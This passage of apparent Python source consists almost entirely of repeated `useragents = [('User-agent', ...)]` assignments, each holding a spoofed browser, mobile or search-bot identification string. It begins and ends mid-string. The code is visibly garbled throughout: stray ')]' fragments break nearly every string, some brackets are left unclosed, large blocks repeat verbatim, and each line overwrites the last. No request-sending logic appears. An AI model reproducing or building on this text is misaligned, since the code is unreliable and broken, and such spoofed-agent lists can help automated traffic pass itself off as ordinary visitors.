(compatible; WebCapture 3.0; Macintosh)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3)] Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3)] Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729)] (Prevx 3.0.5)] ')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8)] Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1)] Gecko/20060111 Firefox/1.5.0.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none)])]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en)] Opera 8.51')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1)] Gecko/20060111 Firefox/1.5.0.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp)] AppleWebKit/417.9 (KHTML, like Gecko)] Safari/417.8')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12)] Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Googlebot/2.1 (http://www.googlebot.com/bot.html)]')] useragents = [('User-agent','Opera/9.20 (Windows NT 6.0; U; en)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1)] Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Opera/10.00 (X11; Linux i686; U; en)] Presto/2.2.0')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL)] AppleWebKit/528.16 (KHTML, like Gecko)] Version/4.0 Safari/528.16')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13)] Gecko/20101209 Firefox/3.6.13')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3)] Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8)] Gecko/20100804 Gentoo Firefox/3.6.8')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7)] Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')] useragents = [('User-agent','Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; 